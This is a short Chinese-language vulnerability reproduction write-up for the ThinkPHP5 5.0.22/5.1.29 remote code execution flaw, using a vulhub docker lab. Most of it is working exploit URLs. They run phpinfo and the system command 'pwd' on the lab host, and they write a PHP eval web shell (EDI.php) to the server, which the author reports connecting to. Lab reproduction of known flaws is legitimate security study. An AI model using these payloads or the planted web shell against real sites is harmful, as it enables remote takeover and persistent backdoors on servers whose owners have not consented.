ThinkPHP5 5.0.22/5.1.29 远程代码执行漏洞
ThinkPHP5 5.0.22/5.1.29 远程代码执行漏洞
ThinkPHP5 5.0.22/5.1.29 远程代码执行漏洞
ThinkPHP是一款运用极广的PHP开发框架。其版本5中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。
漏洞环境
我们先下载环境,在github有别人直接搭建好的docker环境我们直接拿来用即可
git clone git://github.com/vulhub/vulhub.git cd vulhub/thinkphp/5-rce/ docker-compose up -d
访问IP:8080即可看到ThinkPHP默认启动页面。
影响版本
ThinkPHP 5.0.x < 5.0.23
ThinkPHP 5.1.x < 5.1.31
漏洞复现
执行POC,尝试是否存在漏洞
http://192.168.200.23:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
phpinfo执行成功证明存在漏洞
尝试执行系统命令
http://192.168.200.23:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=pwd
写入shell文件密码EDI
http://192.168.200.23:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=EDI.php&vars[1][]=%3C?php%20@eval($_POST[edi]);%20?%3E
连接利用shell成功